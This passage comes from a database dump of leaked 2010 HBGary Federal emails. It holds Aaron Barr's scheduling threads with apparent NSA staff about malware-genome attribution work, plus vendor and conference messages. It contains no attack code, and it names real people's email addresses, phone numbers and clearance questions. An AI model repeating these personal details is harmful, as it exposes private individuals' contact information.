catalog efforts.\r\n>>>>> Have\r\n>>>>> not seen any response since this was raised in early December.\r\n>>>>> \r\n>>>>> Also, pls see recent news article below:\r\n>>>>> \r\n>>>>> \'Cyber Genome Project\': The military scientists want to establish \r\n>>>>> a\r\n> \r\n>>>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>> According to an announcement put out yesterday by DARPA, the \r\n>>>>> \"Cyber\r\n> \r\n>>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>>> investigatory technologies\".\r\n>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>> cyber_genome_project/\r\n>>>>> \r\n>>>>> VR,\r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>> To: Gipson, Vergle\r\n>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Vergle:\r\n>>>>> I mentioned this fellow to you awhile back and emailed you all in\r\n>>>>> V2\r\n>> \r\n>>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>>> (which\r\n>>>> \r\n>>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>>> Malicious\r\n>>>> \r\n>>>>> Code Catalog efforts).\r\n>>>>> \r\n>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he \r\n>>>>> was\r\n>>> \r\n>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>> To: Ghent, Ralph\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Hi Ralph,\r\n>>>>> \r\n>>>>> Happy New Year.\r\n>>>>> \r\n>>>>> I am still very interested to talk to folks there about the \r\n>>>>> Malicious\r\n>>> \r\n>>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>>> interest on that side.  As I mentioned we have recently partnered \r\n>>>>> with\r\n>>>> \r\n>>>>> Palantir and are working on a partnership with Netwitness and \r\n>>>>> maybe\r\n>>>>> 1\r\n>>> \r\n>>>>> or 2 other small vendors with complimentary technology.  I think \r\n>>>>> something really substantial can be put together.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> \r\n>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>> Respectfully,\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Ghent, Ralph\r\n>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>> To: \'Aaron Barr\'\r\n>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>>>> briefly at Leesburg.\r\n>>>>>> \r\n>>>>>> I have pushed your info to those within my Agency who are working\r\n\r\n>>>>>> with\r\n>>>>> \r\n>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>>>>> next\r\n>>>> \r\n>>>>>> week, no one has reached-out to you, pls email me again and I \r\n>>>>>> will\r\n> \r\n>>>>>> follow up with them.\r\n>>>>>> \r\n>>>>>> Sincerely,\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>> To: Ghent, Ralph\r\n>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Ralph,\r\n>>>>>> \r\n>>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>>> Malware\r\n>>>>> \r\n>>>>>> detection, genomes, and attribution.  I am very new to my current\r\n\r\n>>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>>> Technical\r\n>>> \r\n>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and \r\n>>>>>> the\r\n> \r\n>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\n>>>>>> ago\r\n>>> \r\n>>>>>> if we can make headway against attribution I would have said no, \r\n>>>>>> not\r\n>>> \r\n>>>>>> until we have better situational awareness, network \r\n>>>>>> characterization,\r\n>>>> \r\n>>>>>> CND/CNE integration, etc.\r\n>>>>>> \r\n>>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>>> where\r\n>>> \r\n>>>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>>>> starting to make associations of authorship across malware.  I \r\n>>>>>> immediately thought of Palantirs capability to link analysis and \r\n>>>>>> had\r\n>>>>> an aha moment.\r\n>>>>>> But I knew that other capabilities needed to be added if we were \r\n>>>>>> seriously going to take a crack at attribution.\r\n>>>>>> \r\n>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  \r\n>>>>>> I\r\n> \r\n>>>>>> would love to talk with them and combine efforts if appropriate \r\n>>>>>> to\r\n> \r\n>>>>>> develop the capability that is needed to help with this\r\nchallenge.\r\n>>>>>> \r\n>>>>>> Thank You,\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> 301.652.8885 x117\r\n>>>>>> 719.510.8478\r\n>>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7752,'aaron_hbgary_com/7752.html'),(4816,'2010-03-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003105.M484457P3547Q4817.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','Thanks Matt.\r\n\r\nA visit request please.\r\n\r\nSee you on the 19th.  Tentatively I just blocked out the day, just let me know a time that works best that day.\r\n\r\nAaron\r\n\r\nOn Mar 31, 2010, at 7:47 AM, Bodman, Jerry M wrote:\r\n\r\n> Aaron,\r\n> \r\n> Thank you for your time this morning.\r\n> \r\n> Per our discussion, I would like to try to meet with you on the 19th of\r\n> April.\r\n> \r\n> Do you have a badge or do I need to put in a visitor request for you?\r\n> \r\n> Matt\r\n> 410 854 6761 \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 26, 2010 1:04 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Matt,\r\n> \r\n> Still want to get together next week?\r\n> \r\n> Aaron\r\n> \r\n> On Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n> \r\n>> Yes please.\r\n>> \r\n>> How about the last week in March?\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, March 16, 2010 10:56 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> Hi Matt,\r\n>> \r\n>> Would you still like us to come up and discuss DDNA and some of our \r\n>> other capabilities?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n>> \r\n>>> Next week is pretty booked at this point.\r\n>>> \r\n>>> How about the first week of march (other than 1 March)?\r\n>>> \r\n>>> Afternoons are good at this point.\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>> \r\n>>> How about next Thursday?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n>> wrote:\r\n>>> \r\n>>>> What dates/times are good for you?\r\n>>>> \r\n>>>> Matt\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>>> To: Bodman, Jerry M\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>> \r\n>>>> Yes we can come up.  When are some good dates?\r\n>>>> Aaron\r\n>>>> \r\n>>>> From my iPhone\r\n>>>> \r\n>>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>>> wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> \r\n>>>>> I am interested.\r\n>>>>> \r\n>>>>> What is the best way to meet?\r\n>>>>> \r\n>>>>> Can you come here?\r\n>>>>> \r\n>>>>> Is this related to Responder Pro?\r\n>>>>> \r\n>>>>> Matt\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Dave/Barry/Matt,\r\n>>>>> \r\n>>>>> I am very interested to discuss our different efforts/capabilities \r\n>>>>> related to malware genomes/catalogs.  Please let me know when \r\n>>>>> convenient to get together.\r\n>>>>> \r\n>>>>> Thank you,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>>> \r\n>>>>>> Ralph,\r\n>>>>>> \r\n>>>>>> Thanks for reminding me about this one.\r\n>>>>>> \r\n>>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>>> \r\n>>>>>> Vergle\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Ghent, Ralph\r\n>>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>>>> Parkes;\r\n>>>>> \r\n>>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Vergle,\r\n>>>>>> Reminder of the thread below, and your awareness of the efforts of\r\n>>>>> Aaron\r\n>>>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>>>> Have\r\n>>>>>> not seen any response since this was raised in early December.\r\n>>>>>> \r\n>>>>>> Also, pls see recent news article below:\r\n>>>>>> \r\n>>>>>> \'Cyber Genome Project\': The military scientists want to establish \r\n>>>>>> a\r\n>> \r\n>>>>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>>> According to an announcement put out yesterday by DARPA, the \r\n>>>>>> \"Cyber\r\n>> \r\n>>>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>>>> investigatory technologies\".\r\n>>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>>> cyber_genome_project/\r\n>>>>>> \r\n>>>>>> VR,\r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Ghent, Ralph\r\n>>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>>> To: Gipson, Vergle\r\n>>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Vergle:\r\n>>>>>> I mentioned this fellow to you awhile back and emailed you all in\r\n>>>>>> V2\r\n>>> \r\n>>>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>>>> (which\r\n>>>>> \r\n>>>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>>>> Malicious\r\n>>>>> \r\n>>>>>> Code Catalog efforts).\r\n>>>>>> \r\n>>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he \r\n>>>>>> was\r\n>>>> \r\n>>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>>> To: Ghent, Ralph\r\n>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Hi Ralph,\r\n>>>>>> \r\n>>>>>> Happy New Year.\r\n>>>>>> \r\n>>>>>> I am still very interested to talk to folks there about the \r\n>>>>>> Malicious\r\n>>>> \r\n>>>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>>>> interest on that side.  As I mentioned we have recently partnered \r\n>>>>>> with\r\n>>>>> \r\n>>>>>> Palantir and are working on a partnership with Netwitness and \r\n>>>>>> maybe\r\n>>>>>> 1\r\n>>>> \r\n>>>>>> or 2 other small vendors with complimentary technology.  I think \r\n>>>>>> something really substantial can be put together.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>>> \r\n>>>>>>> Aaron,\r\n>>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>>> Respectfully,\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Ralph Ghent\r\n>>>>>>> rdghent@nsa.gov\r\n>>>>>>> Ph: 443-654-0129\r\n>>>>>>> \r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Ghent, Ralph\r\n>>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>>> To: \'Aaron Barr\'\r\n>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>> \r\n>>>>>>> Aaron,\r\n>>>>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>>>>> briefly at Leesburg.\r\n>>>>>>> \r\n>>>>>>> I have pushed your info to those within my Agency who are working\r\n> \r\n>>>>>>> with\r\n>>>>>> \r\n>>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>>>>>> next\r\n>>>>> \r\n>>>>>>> week, no one has reached-out to you, pls email me again and I \r\n>>>>>>> will\r\n>> \r\n>>>>>>> follow up with them.\r\n>>>>>>> \r\n>>>>>>> Sincerely,\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Ralph Ghent\r\n>>>>>>> rdghent@nsa.gov\r\n>>>>>>> Ph: 443-654-0129\r\n>>>>>>> \r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>>> To: Ghent, Ralph\r\n>>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>>> \r\n>>>>>>> Ralph,\r\n>>>>>>> \r\n>>>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>>>> Malware\r\n>>>>>> \r\n>>>>>>> detection, genomes, and attribution.  I am very new to my current\r\n> \r\n>>>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>>>> Technical\r\n>>>> \r\n>>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and \r\n>>>>>>> the\r\n>> \r\n>>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\n>>>>>>> ago\r\n>>>> \r\n>>>>>>> if we can make headway against attribution I would have said no, \r\n>>>>>>> not\r\n>>>> \r\n>>>>>>> until we have better situational awareness, network \r\n>>>>>>> characterization,\r\n>>>>> \r\n>>>>>>> CND/CNE integration, etc.\r\n>>>>>>> \r\n>>>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>>>> where\r\n>>>> \r\n>>>>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>>>>> starting to make associations of authorship across malware.  I \r\n>>>>>>> immediately thought of Palantirs capability to link analysis and \r\n>>>>>>> had\r\n>>>>>> an aha moment.\r\n>>>>>>> But I knew that other capabilities needed to be added if we were \r\n>>>>>>> seriously going to take a crack at attribution.\r\n>>>>>>> \r\n>>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  \r\n>>>>>>> I\r\n>> \r\n>>>>>>> would love to talk with them and combine efforts if appropriate \r\n>>>>>>> to\r\n>> \r\n>>>>>>> develop the capability that is needed to help with this\r\n> challenge.\r\n>>>>>>> \r\n>>>>>>> Thank You,\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> 301.652.8885 x117\r\n>>>>>>> 719.510.8478\r\n>>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8347,'aaron_hbgary_com/8347.html'),(4817,'2010-03-31','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003105.M680481P3547Q4818.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Navy Spring 2010 SBIR National Conference','\r\n\r\n-----Original Message-----\r\nFrom: John Williams, Director, Navy SBIR, STTR & T2 Programs\r\n[mailto:navysbirprogram@qinetiq-na.com] \r\nSent: Tuesday, March 30, 2010 12:19 PM\r\nTo: penny@hbgary.com\r\nSubject: Navy Spring 2010 SBIR National Conference\r\n\r\n*** This email is for notification purposes only.  Please do not \r\nreply. ***\r\n\r\nAs a small business interested in doing business with the \r\nDepartment of Navy, I wanted to make you aware of the upcoming \r\nSpring 2010 National SBIR Conference being held 21-23 April in \r\nHartford, CT.  Whether you are a Phase II award winner or a Phase \r\nI proposal beginner, this conference can help you be more \r\nsuccessful in obtaining Government funding.  The structure and \r\nspeakers at this event provide something for everyone.  It\'s the \r\nonly place you can personally talk to all of the Federal and DoD \r\nSBIR managers, including representatives from all the major Navy \r\nSYSCOMs, as well as representatives from the major primes, \r\nFederal Labs, and companies that provide SBIR assistance.\r\n\r\nYou can find all of the information you need at: \r\nwww.SBIRnational.com\r\n\r\nThe Connecticut SBIR team hosted this conference in 2008.  Close \r\nto 900 attendees from 46 states came to learn the product and \r\ntechnology needs of the 11 Federal SBIR agencies as well as \r\nglobal companies.  Additionally, they had the opportunity to \r\nbegin dialogues that led to new product development and \r\ncontracts.  Many companies are returning to Connecticut because \r\nof the contacts they made in \'08.\r\n\r\nMajor companies will come to this event because they are scouting \r\nfor your innovations.  You can expect to speak with: Pratt & \r\nWhitney, Sikorsky, Boeing, General Electric, Lockheed Martin, \r\nNorthrop Grumman, General Dynamics Electric Boat, Procter and \r\nGamble, Merck and Johnson and Johnson among others.  \r\n\r\nThis is a great opportunity for many of you.  \r\n\r\nRespectfully,\r\nJohn Williams\r\nDirector of Navy SBIR, STTR and T2 Programs\r\n\r\n\r\n',260,'aaron_hbgary_com/260.html'),(4818,'2010-03-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003105.M905319P3547Q4819.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Fidelis XPS / HB Gary Integration Opportunities','Hey Dave,We took a family trip up to New York.  I will be back to work on Monday.  Let&#39;s catch up early next week.AaronFrom my iPhone\r\nOn Mar 30, 2010, at 10:54 PM, &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt; wrote:\r\n\r\nAarron,\r\n \r\nHope the proposal went well and you got a good night&#39;s rest afterwards :)\r\n \r\nWhen is a good time to catch up?David\r\n\r\n\r\nFrom: Aaron BarrSent: Thu 3/18/2010 1:36 AMTo: Etue, DavidSubject: Re: Fidelis XPS / HB Gary Integration Opportunities \r\nThats right you mentioned that.  Wow thats a milestone.  Once this DARPA proposal is over (extended until 29March) we will have to catch up. \r\n\r\nAaron\r\n\r\n\r\nOn Mar 18, 2010, at 1:34 AM, Etue, David wrote:\r\n\r\n\r\n\r\nYep J  Actually got a few days of vacation in—went to AZ for my grandmothers 90th bday from Sat to Wed.  Flight was late, so just got home from the airport!  Off to bed once I catch up on mail…\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, March 18, 2010 1:31 AMTo: Etue, DavidSubject: Re: Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\nMorning Dave.  late night for you as well.\r\n\r\n\r\n\r\nThanks.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\nUpdated version with some minor typos and your product name (Active Defense) corrected. \r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Saturday, March 13, 2010 4:42 PMTo: &#39;greg@hbgary.com&#39;; &#39;Aaron Barr&#39;; &#39;Penny Leavy-Hoglund&#39;\r\nSubject: Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\nAaron, Greg, and Penny,\r\n\r\nBased on our conversations, I put together the following document on areas I see opportunities for product integration to help customers detect and prevent malware-based attacks.  Your thoughts and feedback are greatly appreciated.\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security Systems\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid Etue, CIPP/G\r\nVP, Products and Markets\r\n\r\n4416 East West Highway, Suite 310\r\nBethesda, MD 20814\r\n\r\n\r\n\r\ndavid.etue@fidelissecurity.com\r\nhttp://www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n\r\ntel: \r\nfax: mobile:\r\n\r\n(240) 396-2445 &lt;image001.gif&gt;\r\n(301) 652-7097(202) 669-3628 &lt;image001.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlways have my latest info\r\n\r\n\r\nWant a signature like this?\r\n\r\n\r\n\r\n\r\n\r\n&lt;Fidelis XPS and HB Gary Integration v1_1.docx&gt;\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',2418,'aaron_hbgary_com/2418.html'),(4819,'2010-03-31','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297003105.M90833P3547Q4815.eml','aaron@hbgary.com','Unknown Zosh Account: aaron@hbgary.com','\r\n\r\nUnknown Zosh Account\r\n\r\n\r\n\r\n\r\nAn email was received on Wed, Mar 31, \'10 at 11:40 AM from aaron@hbgary.com.\r\n\r\n\r\n\r\nUnfortunately, the e-mail address aaron@hbgary.com is not registered with Zosh.  In order for documents to show up in your Zosh application, please\r\nsend documents from the e-mail address registered with Zosh. \r\n\r\n\r\n\r\nNote:  It is a common problem for users with an aliased account. For instance, sometimes those with mac.com addresses send e-mails from their me.com address.  \r\nWe are working to provide a mechanism for you to associate multiple e-mail addresses with your account.  \r\n\r\n\r\n\r\nPlease try sending your documents again with the e-mail registered with Zosh.\r\n\r\n			  \r\nThank you for using Zosh. For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3267,'aaron_hbgary_com/3267.html'),(4820,'2010-03-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003106.M369745P3547Q4821.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Industry day','Begin forwarded message:From: &quot;Lirette, Dave (TASC)&quot; &lt;David.P.Lirette@TASC.COM&gt;\r\nDate: March 31, 2010 8:27:39 AM MDTTo: &lt;ted@hbgary.com&gt;Subject: Re: Industry day\r\n\r\nCan&#39;t sayDan gutierrez resigned mon\r\nDavid Lirette PMP\r\nSBIRS IA PM\r\nTASC Inc\r\nSent from mobile device\r\n7193389984\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Lirette, Dave (TASC)\r\nSent: Wed Mar 31 09:23:03 2010Subject: Re: Industry day\r\n\r\nA real California girl, huh. Are you working with Booz?On Mar 31, 2010, at 8:20 AM, &quot;Lirette, Dave (TASC)&quot; &lt;David.P.Lirette@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nMichelle is here\r\nSkinny!\r\n\r\nDavid Lirette PMP\r\nSBIRS IA PM\r\nTASC Inc\r\nSent from mobile device\r\n7193389984\r\n\r\n\r\n\r\n\r\n\r\n',3654,'aaron_hbgary_com/3654.html'),(4821,'2010-03-31','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297003106.M630527P3547Q4822.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','Do you have a clearance?\r\n\r\nIf so, what level?\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 31, 2010 7:53 AM\r\nTo: Bodman, Jerry M\r\nSubject: Re: Malware Genome and Attribution\r\n\r\nThanks Matt.\r\n\r\nA visit request please.\r\n\r\nSee you on the 19th.  Tentatively I just blocked out the day, just let\r\nme know a time that works best that day.\r\n\r\nAaron\r\n\r\nOn Mar 31, 2010, at 7:47 AM, Bodman, Jerry M wrote:\r\n\r\n> Aaron,\r\n> \r\n> Thank you for your time this morning.\r\n> \r\n> Per our discussion, I would like to try to meet with you on the 19th \r\n> of April.\r\n> \r\n> Do you have a badge or do I need to put in a visitor request for you?\r\n> \r\n> Matt\r\n> 410 854 6761\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, March 26, 2010 1:04 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Matt,\r\n> \r\n> Still want to get together next week?\r\n> \r\n> Aaron\r\n> \r\n> On Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n> \r\n>> Yes please.\r\n>> \r\n>> How about the last week in March?\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, March 16, 2010 10:56 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> Hi Matt,\r\n>> \r\n>> Would you still like us to come up and discuss DDNA and some of our \r\n>> other capabilities?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n>> \r\n>>> Next week is pretty booked at this point.\r\n>>> \r\n>>> How about the first week of march (other than 1 March)?\r\n>>> \r\n>>> Afternoons are good at this point.\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>> \r\n>>> How about next Thursday?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n>> wrote:\r\n>>> \r\n>>>> What dates/times are good for you?\r\n>>>> \r\n>>>> Matt\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>>> To: Bodman, Jerry M\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>> \r\n>>>> Yes we can come up.  When are some good dates?\r\n>>>> Aaron\r\n>>>> \r\n>>>> From my iPhone\r\n>>>> \r\n>>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>>> wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> \r\n>>>>> I am interested.\r\n>>>>> \r\n>>>>> What is the best way to meet?\r\n>>>>> \r\n>>>>> Can you come here?\r\n>>>>> 